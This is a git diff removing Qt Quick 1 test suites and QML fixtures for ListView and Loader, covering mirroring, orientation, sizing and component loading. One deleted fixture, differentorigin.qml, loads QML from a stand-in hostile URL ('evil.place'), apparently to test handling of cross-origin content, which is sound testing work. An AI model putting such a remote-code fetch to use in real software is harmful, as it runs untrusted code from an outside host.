- - QCOMPARE(listview->contentX(), -640.); - - // Ensure resizing maintains position relative to right edge - qobject_cast(canvas->rootObject())->setWidth(600); - QTRY_COMPARE(listview->contentX(), -600.); - - delete canvas; -} - -void tst_QDeclarative1ListView::test_mirroring() -{ - QDeclarativeView *canvasA = createView(); - canvasA->setSource(QUrl::fromLocalFile(SRCDIR "/data/rightToLeft.qml")); - QDeclarative1ListView *listviewA = findItem(canvasA->rootObject(), "view"); - QTRY_VERIFY(listviewA != 0); - - QDeclarativeView *canvasB = createView(); - canvasB->setSource(QUrl::fromLocalFile(SRCDIR "/data/rightToLeft.qml")); - QDeclarative1ListView *listviewB = findItem(canvasB->rootObject(), "view"); - QTRY_VERIFY(listviewA != 0); - qApp->processEvents(); - - QList objectNames; - objectNames << "item1" << "item2"; // << "item3" - - listviewA->setProperty("layoutDirection", Qt::LeftToRight); - listviewB->setProperty("layoutDirection", Qt::RightToLeft); - QCOMPARE(listviewA->layoutDirection(), listviewA->effectiveLayoutDirection()); - - // LTR != RTL - foreach(const QString objectName, objectNames) - QVERIFY(findItem(listviewA, objectName)->x() != findItem(listviewB, objectName)->x()); - - listviewA->setProperty("layoutDirection", Qt::LeftToRight); - listviewB->setProperty("layoutDirection", Qt::LeftToRight); - - // LTR == LTR - foreach(const QString objectName, objectNames) - QCOMPARE(findItem(listviewA, objectName)->x(), findItem(listviewB, objectName)->x()); - - QVERIFY(listviewB->layoutDirection() == listviewB->effectiveLayoutDirection()); - QDeclarativeItemPrivate::get(listviewB)->setLayoutMirror(true); - QVERIFY(listviewB->layoutDirection() != listviewB->effectiveLayoutDirection()); - - // LTR != LTR+mirror - foreach(const QString objectName, objectNames) - QVERIFY(findItem(listviewA, objectName)->x() != findItem(listviewB, objectName)->x()); - - listviewA->setProperty("layoutDirection", Qt::RightToLeft); - - // RTL == LTR+mirror - foreach(const QString objectName, objectNames) - QCOMPARE(findItem(listviewA, objectName)->x(), findItem(listviewB, objectName)->x()); - - listviewB->setProperty("layoutDirection", Qt::RightToLeft); - - // RTL != RTL+mirror - foreach(const QString objectName, objectNames) - QVERIFY(findItem(listviewA, objectName)->x() != findItem(listviewB, objectName)->x()); - - listviewA->setProperty("layoutDirection", Qt::LeftToRight); - - // LTR == RTL+mirror - foreach(const QString objectName, objectNames) - QCOMPARE(findItem(listviewA, objectName)->x(), findItem(listviewB, objectName)->x()); - - delete canvasA; - delete canvasB; -} - -void tst_QDeclarative1ListView::orientationChange() -{ - QDeclarativeView *canvas = createView(); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/orientchange.qml")); - qApp->processEvents(); - - QDeclarative1ListView *listview = qobject_cast(canvas->rootObject()); - QVERIFY(listview != 0); - - QDeclarativeItem *contentItem = listview->contentItem(); - QVERIFY(contentItem != 0); - - listview->positionViewAtIndex(50, QDeclarative1ListView::Beginning); - - // Confirm items positioned correctly - for (int i = 50; i < 54; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - QVERIFY(item); - QCOMPARE(item->y(), i*80.0); - } - - listview->setOrientation(QDeclarative1ListView::Horizontal); - QCOMPARE(listview->contentY(), 0.); - - // Confirm items positioned correctly - for (int i = 0; i < 3; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - QVERIFY(item); - QCOMPARE(item->x(), i*80.0); - } - - listview->positionViewAtIndex(50, QDeclarative1ListView::Beginning); - listview->setOrientation(QDeclarative1ListView::Vertical); - QCOMPARE(listview->contentX(), 0.); - // - // Confirm items positioned correctly - for (int i = 0; i < 4; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - QVERIFY(item); - QCOMPARE(item->y(), i*80.0); - } - - delete canvas; -} - -void tst_QDeclarative1ListView::contentPosJump() -{ - QDeclarativeView *canvas = createView(); - - TestModel model; - for (int i = 0; i < 50; i++) - model.addItem("Item" + QString::number(i), ""); - - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testModel", &model); - - TestObject *testObject = new TestObject; - ctxt->setContextProperty("testObject", testObject); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/listviewtest.qml")); - qApp->processEvents(); - - QDeclarative1ListView *listview = findItem(canvas->rootObject(), "list"); - QTRY_VERIFY(listview != 0); - - QDeclarativeItem *contentItem = listview->contentItem(); - QTRY_VERIFY(contentItem != 0); - - // Confirm items positioned correctly - int itemCount = findItems(contentItem, "wrapper").count(); - for (int i = 0; i < model.count() && i < itemCount; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - if (!item) qWarning() << "Item" << i << "not found"; - QTRY_VERIFY(item); - QTRY_VERIFY(item->y() == i*20); - } - - // Test jumping more than a page of items. - listview->setContentY(500); - itemCount = findItems(contentItem, "wrapper").count(); - for (int i = 25; i < model.count() && i < itemCount; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - if (!item) qWarning() << "Item" << i << "not found"; - QTRY_VERIFY(item); - QTRY_VERIFY(item->y() == i*20); - } - - listview->setContentY(-100); - itemCount = findItems(contentItem, "wrapper").count(); - QVERIFY(itemCount < 20); - for (int i = 0; i < model.count() && i < itemCount; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - if (!item) qWarning() << "Item" << i << "not found"; - QTRY_VERIFY(item); - QTRY_VERIFY(item->y() == i*20); - } - - delete canvas; -} - -void tst_QDeclarative1ListView::qListModelInterface_items() -{ - items(); -} - -void tst_QDeclarative1ListView::qAbstractItemModel_items() -{ - items(); -} - -void tst_QDeclarative1ListView::qListModelInterface_changed() -{ - changed(); -} - -void tst_QDeclarative1ListView::qAbstractItemModel_changed() -{ - changed(); -} - -void tst_QDeclarative1ListView::qListModelInterface_inserted() -{ - inserted(); -} - -void tst_QDeclarative1ListView::qAbstractItemModel_inserted() -{ - inserted(); -} - -void tst_QDeclarative1ListView::qListModelInterface_removed() -{ - removed(false); - removed(true); -} - -void tst_QDeclarative1ListView::qAbstractItemModel_removed() -{ - removed(false); - removed(true); -} - -void tst_QDeclarative1ListView::qListModelInterface_moved() -{ - moved(); -} - -void tst_QDeclarative1ListView::qAbstractItemModel_moved() -{ - moved(); -} - -void tst_QDeclarative1ListView::qListModelInterface_clear() -{ - clear(); -} - -void tst_QDeclarative1ListView::qAbstractItemModel_clear() -{ - clear(); -} - -QDeclarativeView *tst_QDeclarative1ListView::createView() -{ - QDeclarativeView *canvas = new QDeclarativeView(0); - canvas->setFixedSize(240,320); - - return canvas; -} - -/* - Find an item with the specified objectName. If index is supplied then the - item must also evaluate the {index} expression equal to index -*/ -template -T *tst_QDeclarative1ListView::findItem(QGraphicsObject *parent, const QString &objectName, int index) -{ - const QMetaObject &mo = T::staticMetaObject; - //qDebug() << parent->childItems().count() << "children"; - for (int i = 0; i < parent->childItems().count(); ++i) { - QDeclarativeItem *item = qobject_cast(parent->childItems().at(i)); - if(!item) - continue; - //qDebug() << "try" << item; - if (mo.cast(item) && (objectName.isEmpty() || item->objectName() == objectName)) { - if (index != -1) { - QDeclarativeExpression e(qmlContext(item), item, "index"); - if (e.evaluate().toInt() == index) - return static_cast(item); - } else { - return static_cast(item); - } - } - item = findItem(item, objectName, index); - if (item) - return static_cast(item); - } - - return 0; -} - -template -QList tst_QDeclarative1ListView::findItems(QGraphicsObject *parent, const QString &objectName) -{ - QList items; - const QMetaObject &mo = T::staticMetaObject; - //qDebug() << parent->childItems().count() << "children"; - for (int i = 0; i < parent->childItems().count(); ++i) { - QDeclarativeItem *item = qobject_cast(parent->childItems().at(i)); - if(!item || !item->isVisible()) - continue; - //qDebug() << "try" << item; - if (mo.cast(item) && (objectName.isEmpty() || item->objectName() == objectName)) - items.append(static_cast(item)); - items += findItems(item, objectName); - } - - return items; -} - -void tst_QDeclarative1ListView::dumpTree(QDeclarativeItem *parent, int depth) -{ - static QString padding(" "); - for (int i = 0; i < parent->childItems().count(); ++i) { - QDeclarativeItem *item = qobject_cast(parent->childItems().at(i)); - if(!item) - continue; - qDebug() << padding.left(depth*2) << item; - dumpTree(item, depth+1); - } -} - - -QTEST_MAIN(tst_QDeclarative1ListView) - -#include "tst_qdeclarativelistview.moc" diff --git a/tests/auto/qtquick1/qdeclarativeloader/data/AnchoredLoader.qml b/tests/auto/qtquick1/qdeclarativeloader/data/AnchoredLoader.qml deleted file mode 100644 index 7654c07408..0000000000 --- a/tests/auto/qtquick1/qdeclarativeloader/data/AnchoredLoader.qml +++ /dev/null @@ -1,14 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 300 - height: 200 - color: "blue" - Loader { - objectName: "loader" - anchors.fill: parent - sourceComponent: Component { - Rectangle { color: "red"; objectName: "sourceElement" } - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativeloader/data/BlueRect.qml b/tests/auto/qtquick1/qdeclarativeloader/data/BlueRect.qml deleted file mode 100644 index d2da64d263..0000000000 --- a/tests/auto/qtquick1/qdeclarativeloader/data/BlueRect.qml +++ /dev/null @@ -1,8 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - objectName: "blue" - width: 100 - height: 100 - color: "blue" -} diff --git a/tests/auto/qtquick1/qdeclarativeloader/data/CreationContextLoader.qml b/tests/auto/qtquick1/qdeclarativeloader/data/CreationContextLoader.qml deleted file mode 100644 index bfc9a8dd8a..0000000000 --- a/tests/auto/qtquick1/qdeclarativeloader/data/CreationContextLoader.qml +++ /dev/null @@ -1,15 +0,0 @@ -import QtQuick 1.0 - -Loader { - id: myLoader - property int testProperty: 1912 - sourceComponent: loaderComponent - Component { - id: loaderComponent - Item { - Component.onCompleted: { - test = (myLoader.testProperty == 1912); - } - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativeloader/data/GraphicsWidget250x250.qml b/tests/auto/qtquick1/qdeclarativeloader/data/GraphicsWidget250x250.qml deleted file mode 100644 index 139657bf2c..0000000000 --- a/tests/auto/qtquick1/qdeclarativeloader/data/GraphicsWidget250x250.qml +++ /dev/null @@ -1,5 +0,0 @@ -import QtQuick 1.0 - -QGraphicsWidget { - size: "250x250" -} diff --git a/tests/auto/qtquick1/qdeclarativeloader/data/GreenRect.qml b/tests/auto/qtquick1/qdeclarativeloader/data/GreenRect.qml deleted file mode 100644 index 5aeb81e918..0000000000 --- a/tests/auto/qtquick1/qdeclarativeloader/data/GreenRect.qml +++ /dev/null @@ -1,7 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 100; height: 100 - color: "green" - Component.onCompleted: myLoader.source = "BlueRect.qml" -} diff --git a/tests/auto/qtquick1/qdeclarativeloader/data/NoResize.qml b/tests/auto/qtquick1/qdeclarativeloader/data/NoResize.qml deleted file mode 100644 index bb1030ef9d..0000000000 --- a/tests/auto/qtquick1/qdeclarativeloader/data/NoResize.qml +++ /dev/null @@ -1,8 +0,0 @@ -import QtQuick 1.0 - -Item { - width: 200; height: 80 - Loader { - source: "Rect120x60.qml" - } -} diff --git a/tests/auto/qtquick1/qdeclarativeloader/data/NoResizeGraphicsWidget.qml b/tests/auto/qtquick1/qdeclarativeloader/data/NoResizeGraphicsWidget.qml deleted file mode 100644 index 5a31eff545..0000000000 --- a/tests/auto/qtquick1/qdeclarativeloader/data/NoResizeGraphicsWidget.qml +++ /dev/null @@ -1,9 +0,0 @@ -import QtQuick 1.0 - -Item { - width: 200 - height: 80 - Loader { - source: "GraphicsWidget250x250.qml" - } -} diff --git a/tests/auto/qtquick1/qdeclarativeloader/data/QTBUG_16928.qml b/tests/auto/qtquick1/qdeclarativeloader/data/QTBUG_16928.qml deleted file mode 100644 index 9949e346f9..0000000000 --- a/tests/auto/qtquick1/qdeclarativeloader/data/QTBUG_16928.qml +++ /dev/null @@ -1,23 +0,0 @@ -import QtQuick 1.1 - -Rectangle { - color: "green" - width: loader.implicitWidth+50 - height: loader.implicitHeight+50 - - Loader { - id: loader - sourceComponent: Item { - anchors.centerIn: parent - - implicitWidth: 200 - implicitHeight: 200 - Rectangle { - color: "red" - anchors.fill: parent - } - } - anchors.fill: parent - anchors.margins: 15 - } -} diff --git a/tests/auto/qtquick1/qdeclarativeloader/data/QTBUG_17114.qml b/tests/auto/qtquick1/qdeclarativeloader/data/QTBUG_17114.qml deleted file mode 100644 index 8a49733a8c..0000000000 --- a/tests/auto/qtquick1/qdeclarativeloader/data/QTBUG_17114.qml +++ /dev/null @@ -1,18 +0,0 @@ -import QtQuick 1.1 - -Rectangle { - property real loaderWidth: loader.width - property real loaderHeight: loader.height - width: 200 - height: 200 - - Loader { - id: loader - sourceComponent: Item { - property real iwidth: 32 - property real iheight: 32 - width: iwidth - height: iheight - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativeloader/data/Rect120x60.qml b/tests/auto/qtquick1/qdeclarativeloader/data/Rect120x60.qml deleted file mode 100644 index 5a352844c3..0000000000 --- a/tests/auto/qtquick1/qdeclarativeloader/data/Rect120x60.qml +++ /dev/null @@ -1,6 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 120 - height:60 -} diff --git a/tests/auto/qtquick1/qdeclarativeloader/data/SetSourceComponent.qml b/tests/auto/qtquick1/qdeclarativeloader/data/SetSourceComponent.qml deleted file mode 100644 index fa2d3cb325..0000000000 --- a/tests/auto/qtquick1/qdeclarativeloader/data/SetSourceComponent.qml +++ /dev/null @@ -1,9 +0,0 @@ -import QtQuick 1.0 - -Item { - function clear() { - loader.sourceComponent = undefined - } - Component { id: comp; Rectangle { width: 100; height: 50 } } - Loader { id: loader; sourceComponent: comp } -} diff --git a/tests/auto/qtquick1/qdeclarativeloader/data/SizeGraphicsWidgetToLoader.qml b/tests/auto/qtquick1/qdeclarativeloader/data/SizeGraphicsWidgetToLoader.qml deleted file mode 100644 index a855947c59..0000000000 --- a/tests/auto/qtquick1/qdeclarativeloader/data/SizeGraphicsWidgetToLoader.qml +++ /dev/null @@ -1,7 +0,0 @@ -import QtQuick 1.0 - -Loader { - width: 200 - height: 80 - source: "GraphicsWidget250x250.qml" -} diff --git a/tests/auto/qtquick1/qdeclarativeloader/data/SizeLoaderToGraphicsWidget.qml b/tests/auto/qtquick1/qdeclarativeloader/data/SizeLoaderToGraphicsWidget.qml deleted file mode 100644 index b6fd57f590..0000000000 --- a/tests/auto/qtquick1/qdeclarativeloader/data/SizeLoaderToGraphicsWidget.qml +++ /dev/null @@ -1,5 +0,0 @@ -import QtQuick 1.0 - -Loader { - source: "GraphicsWidget250x250.qml" -} diff --git a/tests/auto/qtquick1/qdeclarativeloader/data/SizeToItem.qml b/tests/auto/qtquick1/qdeclarativeloader/data/SizeToItem.qml deleted file mode 100644 index 36ce9912f1..0000000000 --- a/tests/auto/qtquick1/qdeclarativeloader/data/SizeToItem.qml +++ /dev/null @@ -1,5 +0,0 @@ -import QtQuick 1.0 - -Loader { - source: "Rect120x60.qml" -} diff --git a/tests/auto/qtquick1/qdeclarativeloader/data/SizeToLoader.qml b/tests/auto/qtquick1/qdeclarativeloader/data/SizeToLoader.qml deleted file mode 100644 index 4fa945b300..0000000000 --- a/tests/auto/qtquick1/qdeclarativeloader/data/SizeToLoader.qml +++ /dev/null @@ -1,6 +0,0 @@ -import QtQuick 1.0 - -Loader { - width: 200; height: 80 - source: "Rect120x60.qml" -} diff --git a/tests/auto/qtquick1/qdeclarativeloader/data/VmeError.qml b/tests/auto/qtquick1/qdeclarativeloader/data/VmeError.qml deleted file mode 100644 index a36c246260..0000000000 --- a/tests/auto/qtquick1/qdeclarativeloader/data/VmeError.qml +++ /dev/null @@ -1,7 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 100; height: 100; color: "red" - signal somethingHappened - onSomethingHappened: QtObject {} -} diff --git a/tests/auto/qtquick1/qdeclarativeloader/data/crash.qml b/tests/auto/qtquick1/qdeclarativeloader/data/crash.qml deleted file mode 100644 index c7a4407add..0000000000 --- a/tests/auto/qtquick1/qdeclarativeloader/data/crash.qml +++ /dev/null @@ -1,14 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 400 - height: 400 - - function setLoaderSource() { - myLoader.source = "GreenRect.qml" - } - - Loader { - id: myLoader - } -} diff --git a/tests/auto/qtquick1/qdeclarativeloader/data/creationContext.qml b/tests/auto/qtquick1/qdeclarativeloader/data/creationContext.qml deleted file mode 100644 index 529797867f..0000000000 --- a/tests/auto/qtquick1/qdeclarativeloader/data/creationContext.qml +++ /dev/null @@ -1,8 +0,0 @@ -import QtQuick 1.0 - -Item { - property bool test: false - - CreationContextLoader { - } -} diff --git a/tests/auto/qtquick1/qdeclarativeloader/data/differentorigin.qml b/tests/auto/qtquick1/qdeclarativeloader/data/differentorigin.qml deleted file mode 100644 index 043ce5555e..0000000000 --- a/tests/auto/qtquick1/qdeclarativeloader/data/differentorigin.qml +++ /dev/null @@ -1,3 +0,0 @@ -import QtQuick 1.0 - -Loader { source: "http://evil.place/evil.qml" } diff --git a/tests/auto/qtquick1/qdeclarativeloader/data/implicitSize.qml b/tests/auto/qtquick1/qdeclarativeloader/data/implicitSize.qml deleted file mode 100644 index 53aad97ae1..0000000000 --- a/tests/auto/qtquick1/qdeclarativeloader/data/implicitSize.qml +++ /dev/null @@ -1,28 +0,0 @@ -import QtQuick 1.1 - -Rectangle { - property real implWidth: 0 - property real implHeight: 0 - color: "green" - width: loader.implicitWidth+50 - height: loader.implicitHeight+50 - - Loader { - id: loader - sourceComponent: Item { - anchors.centerIn: parent - - implicitWidth: 100 - implicitHeight: 100 - Rectangle { - color: "red" - anchors.fill: parent - } - } - - anchors.fill: parent - anchors.margins: 50 - onImplicitWidthChanged: implWidth = implicitWidth - onImplicitHeightChanged: implHeight = loader.implicitHeight - } -} diff --git a/tests/auto/qtquick1/qdeclarativeloader/data/nonItem.qml b/tests/auto/qtquick1/qdeclarativeloader/data/nonItem.qml deleted file mode 100644 index 1d0ab5c10d..0000000000 --- a/tests/auto/qtquick1/qdeclarativeloader/data/nonItem.qml +++ /dev/null @@ -1,5 +0,0 @@ -import QtQuick 1.0 - -Loader { - sourceComponent: QtObject {} -} diff --git a/tests/auto/qtquick1/qdeclarativeloader/data/qmldir b/tests/auto/qtquick1/qdeclarativeloader/data/qmldir deleted file mode 100644 index bf42b507c0..0000000000 --- a/tests/auto/qtquick1/qdeclarativeloader/data/qmldir +++ /dev/null @@ -1 +0,0 @@ -# For tst_QDeclarativeLoader::networkRequestUrl; no types needed though. diff --git a/tests/auto/qtquick1/qdeclarativeloader/data/sameorigin-load.qml b/tests/auto/qtquick1/qdeclarativeloader/data/sameorigin-load.qml deleted file mode 100644 index dbea969395..0000000000 --- a/tests/auto/qtquick1/qdeclarativeloader/data/sameorigin-load.qml +++ /dev/null @@ -1,3 +0,0 @@ -import QtQuick 1.0 - -Item { } diff --git a/tests/auto/qtquick1/qdeclarativeloader/data/sameorigin.qml b/tests/auto/qtquick1/qdeclarativeloader/data/sameorigin.qml deleted file mode 100644 index 8ba13a0493..0000000000 --- a/tests/auto/qtquick1/qdeclarativeloader/data/sameorigin.qml +++ /dev/null @@ -1,3 +0,0 @@ -import QtQuick 1.0 - -Loader { source: "sameorigin-load.qml" } diff --git a/tests/auto/qtquick1/qdeclarativeloader/data/vmeErrors.qml b/tests/auto/qtquick1/qdeclarativeloader/data/vmeErrors.qml deleted file mode 100644 index cfced31da5..0000000000 --- a/tests/auto/qtquick1/qdeclarativeloader/data/vmeErrors.qml +++ /dev/null @@ -1,6 +0,0 @@ -import QtQuick 1.0 - -Loader { - source: "VmeError.qml" -} - diff --git a/tests/auto/qtquick1/qdeclarativeloader/qdeclarativeloader.pro b/tests/auto/qtquick1/qdeclarativeloader/qdeclarativeloader.pro deleted file mode 100644 index 0e4df8d3da..0000000000 --- a/tests/auto/qtquick1/qdeclarativeloader/qdeclarativeloader.pro +++ /dev/null @@ -1,14 +0,0 @@ -CONFIG += testcase -TARGET = tst_qdeclarativeloader -macx:CONFIG -= app_bundle - -INCLUDEPATH += ../../shared/ -HEADERS += ../../shared/testhttpserver.h -SOURCES += tst_qdeclarativeloader.cpp \ - ../../shared/testhttpserver.cpp - -DEFINES += SRCDIR=\\\"$$PWD\\\" - -CONFIG += parallel_test - -QT += core-private gui-private widgets-private declarative-private qtquick1-private network testlib diff --git a/tests/auto/qtquick1/qdeclarativeloader/tst_qdeclarativeloader.cpp b/tests/auto/qtquick1/qdeclarativeloader/tst_qdeclarativeloader.cpp deleted file mode 100644 index 6f98cf39a8..0000000000 --- a/tests/auto/qtquick1/qdeclarativeloader/tst_qdeclarativeloader.cpp +++ /dev/null @@ -1,631 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the test suite of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include -#include - -#include -#include -#include -#include -#include "testhttpserver.h" - -#define SERVER_PORT 14450 - -inline QUrl TEST_FILE(const QString &filename) -{ - return QUrl::fromLocalFile(QLatin1String(SRCDIR) + QLatin1String("/data/") + filename); -} - -class tst_QDeclarative1Loader : public QObject - -{ - Q_OBJECT -public: - tst_QDeclarative1Loader(); - -private slots: - void sourceOrComponent(); - void sourceOrComponent_data(); - void clear(); - void urlToComponent(); - void componentToUrl(); - void anchoredLoader(); - void sizeLoaderToItem(); - void sizeItemToLoader(); - void noResize(); - void sizeLoaderToGraphicsWidget(); - void sizeGraphicsWidgetToLoader(); - void noResizeGraphicsWidget(); - void networkRequestUrl(); - void failNetworkRequest(); -// void networkComponent(); - - void deleteComponentCrash(); - void nonItem(); - void vmeErrors(); - void creationContext(); - void QTBUG_16928(); - void implicitSize(); - void QTBUG_17114(); - -private: - QDeclarativeEngine engine; -}; - - -tst_QDeclarative1Loader::tst_QDeclarative1Loader() -{ -} - -void tst_QDeclarative1Loader::sourceOrComponent() -{ - QFETCH(QString, sourceDefinition); - QFETCH(QUrl, sourceUrl); - QFETCH(QString, errorString); - - bool error = !errorString.isEmpty(); - if (error) - QTest::ignoreMessage(QtWarningMsg, errorString.toUtf8().constData()); - - QDeclarativeComponent component(&engine); - component.setData(QByteArray( - "import QtQuick 1.0\n" - "Loader {\n" - " property int onItemChangedCount: 0\n" - " property int onSourceChangedCount: 0\n" - " property int onStatusChangedCount: 0\n" - " property int onProgressChangedCount: 0\n" - " property int onLoadedCount: 0\n") - + sourceDefinition.toUtf8() - + QByteArray( - " onItemChanged: onItemChangedCount += 1\n" - " onSourceChanged: onSourceChangedCount += 1\n" - " onStatusChanged: onStatusChangedCount += 1\n" - " onProgressChanged: onProgressChangedCount += 1\n" - " onLoaded: onLoadedCount += 1\n" - "}") - , TEST_FILE("")); - - QDeclarative1Loader *loader = qobject_cast(component.create()); - QVERIFY(loader != 0); - QCOMPARE(loader->item() == 0, error); - QCOMPARE(loader->source(), sourceUrl); - QCOMPARE(loader->progress(), 1.0); - - QCOMPARE(loader->status(), error ? QDeclarative1Loader::Error : QDeclarative1Loader::Ready); - QCOMPARE(static_cast(loader)->children().count(), error ? 0: 1); - - if (!error) { - QDeclarativeComponent *c = qobject_cast(loader->QGraphicsObject::children().at(0)); - QVERIFY(c); - QCOMPARE(loader->sourceComponent(), c); - } - - QCOMPARE(loader->property("onSourceChangedCount").toInt(), 1); - QCOMPARE(loader->property("onStatusChangedCount").toInt(), 1); - QCOMPARE(loader->property("onProgressChangedCount").toInt(), 1); - - QCOMPARE(loader->property("onItemChangedCount").toInt(), error ? 0 : 1); - QCOMPARE(loader->property("onLoadedCount").toInt(), error ? 0 : 1); - - delete loader; -} - -void tst_QDeclarative1Loader::sourceOrComponent_data() -{ - QTest::addColumn("sourceDefinition"); - QTest::addColumn("sourceUrl"); - QTest::addColumn("errorString"); - - QTest::newRow("source") << "source: 'Rect120x60.qml'\n" << QUrl::fromLocalFile(SRCDIR "/data/Rect120x60.qml") << ""; - QTest::newRow("sourceComponent") << "Component { id: comp; Rectangle { width: 100; height: 50 } }\n sourceComponent: comp\n" << QUrl() << ""; - - QTest::newRow("invalid source") << "source: 'IDontExist.qml'\n" << QUrl::fromLocalFile(SRCDIR "/data/IDontExist.qml") - << QString(QUrl::fromLocalFile(SRCDIR "/data/IDontExist.qml").toString() + ": File not found"); -} - -void tst_QDeclarative1Loader::clear() -{ - { - QDeclarativeComponent component(&engine); - component.setData(QByteArray( - "import QtQuick 1.0\n" - " Loader { id: loader\n" - " source: 'Rect120x60.qml'\n" - " Timer { interval: 200; running: true; onTriggered: loader.source = '' }\n" - " }") - , TEST_FILE("")); - QDeclarative1Loader *loader = qobject_cast(component.create()); - QVERIFY(loader != 0); - QVERIFY(loader->item()); - QCOMPARE(loader->progress(), 1.0); - QCOMPARE(static_cast(loader)->children().count(), 1); - - QTRY_VERIFY(loader->item() == 0); - QCOMPARE(loader->progress(), 0.0); - QCOMPARE(loader->status(), QDeclarative1Loader::Null); - QCOMPARE(static_cast(loader)->children().count(), 0); - - delete loader; - } - { - QDeclarativeComponent component(&engine, TEST_FILE("/SetSourceComponent.qml")); - QDeclarativeItem *item = qobject_cast(component.create()); - QVERIFY(item); - - QDeclarative1Loader *loader = qobject_cast(item->QGraphicsObject::children().at(1)); - QVERIFY(loader); - QVERIFY(loader->item()); - QCOMPARE(loader->progress(), 1.0); - QCOMPARE(static_cast(loader)->children().count(), 1); - - loader->setSourceComponent(0); - - QVERIFY(loader->item() == 0); - QCOMPARE(loader->progress(), 0.0); - QCOMPARE(loader->status(), QDeclarative1Loader::Null); - QCOMPARE(static_cast(loader)->children().count(), 0); - - delete item; - } - { - QDeclarativeComponent component(&engine, TEST_FILE("/SetSourceComponent.qml")); - QDeclarativeItem *item = qobject_cast(component.create()); - QVERIFY(item); - - QDeclarative1Loader *loader = qobject_cast(item->QGraphicsObject::children().at(1)); - QVERIFY(loader); - QVERIFY(loader->item()); - QCOMPARE(loader->progress(), 1.0); - QCOMPARE(static_cast(loader)->children().count(), 1); - - QMetaObject::invokeMethod(item, "clear"); - - QVERIFY(loader->item() == 0); - QCOMPARE(loader->progress(), 0.0); - QCOMPARE(loader->status(), QDeclarative1Loader::Null); - QCOMPARE(static_cast(loader)->children().count(), 0); - - delete item; - } -} - -void tst_QDeclarative1Loader::urlToComponent() -{ - QDeclarativeComponent component(&engine); - component.setData(QByteArray("import QtQuick 1.0\n" - "Loader {\n" - " id: loader\n" - " Component { id: myComp; Rectangle { width: 10; height: 10 } }\n" - " source: \"Rect120x60.qml\"\n" - " Timer { interval: 100; running: true; onTriggered: loader.sourceComponent = myComp }\n" - "}" ) - , TEST_FILE("")); - QDeclarative1Loader *loader = qobject_cast(component.create()); - QTest::qWait(200); - QTRY_VERIFY(loader != 0); - QVERIFY(loader->item()); - QCOMPARE(loader->progress(), 1.0); - QCOMPARE(static_cast(loader)->children().count(), 1); - QCOMPARE(loader->width(), 10.0); - QCOMPARE(loader->height(), 10.0); - - delete loader; -} - -void tst_QDeclarative1Loader::componentToUrl() -{ - QDeclarativeComponent component(&engine, TEST_FILE("/SetSourceComponent.qml")); - QDeclarativeItem *item = qobject_cast(component.create()); - QVERIFY(item); - - QDeclarative1Loader *loader = qobject_cast(item->QGraphicsObject::children().at(1)); - QVERIFY(loader); - QVERIFY(loader->item()); - QCOMPARE(loader->progress(), 1.0); - QCOMPARE(static_cast(loader)->children().count(), 1); - - loader->setSource(TEST_FILE("/Rect120x60.qml")); - QVERIFY(loader->item()); - QCOMPARE(loader->progress(), 1.0); - QCOMPARE(static_cast(loader)->children().count(), 1); - QCOMPARE(loader->width(), 120.0); - QCOMPARE(loader->height(), 60.0); - - delete item; -} - -void tst_QDeclarative1Loader::anchoredLoader() -{ - QDeclarativeComponent component(&engine, TEST_FILE("/AnchoredLoader.qml")); - QDeclarativeItem *rootItem = qobject_cast(component.create()); - QVERIFY(rootItem != 0); - QDeclarativeItem *loader = rootItem->findChild("loader"); - QDeclarativeItem *sourceElement = rootItem->findChild("sourceElement"); - - QVERIFY(loader != 0); - QVERIFY(sourceElement != 0); - - QCOMPARE(rootItem->width(), 300.0); - QCOMPARE(rootItem->height(), 200.0); - - QCOMPARE(loader->width(), 300.0); - QCOMPARE(loader->height(), 200.0); - - QCOMPARE(sourceElement->width(), 300.0); - QCOMPARE(sourceElement->height(), 200.0); -} - -void tst_QDeclarative1Loader::sizeLoaderToItem() -{ - QDeclarativeComponent component(&engine, TEST_FILE("/SizeToItem.qml")); - QDeclarative1Loader *loader = qobject_cast(component.create()); - QVERIFY(loader != 0); - QCOMPARE(loader->width(), 120.0); - QCOMPARE(loader->height(), 60.0); - - // Check resize - QDeclarativeItem *rect = qobject_cast(loader->item()); - QVERIFY(rect); - rect->setWidth(150); - rect->setHeight(45); - QCOMPARE(loader->width(), 150.0); - QCOMPARE(loader->height(), 45.0); - - // Check explicit width - loader->setWidth(200.0); - QCOMPARE(loader->width(), 200.0); - 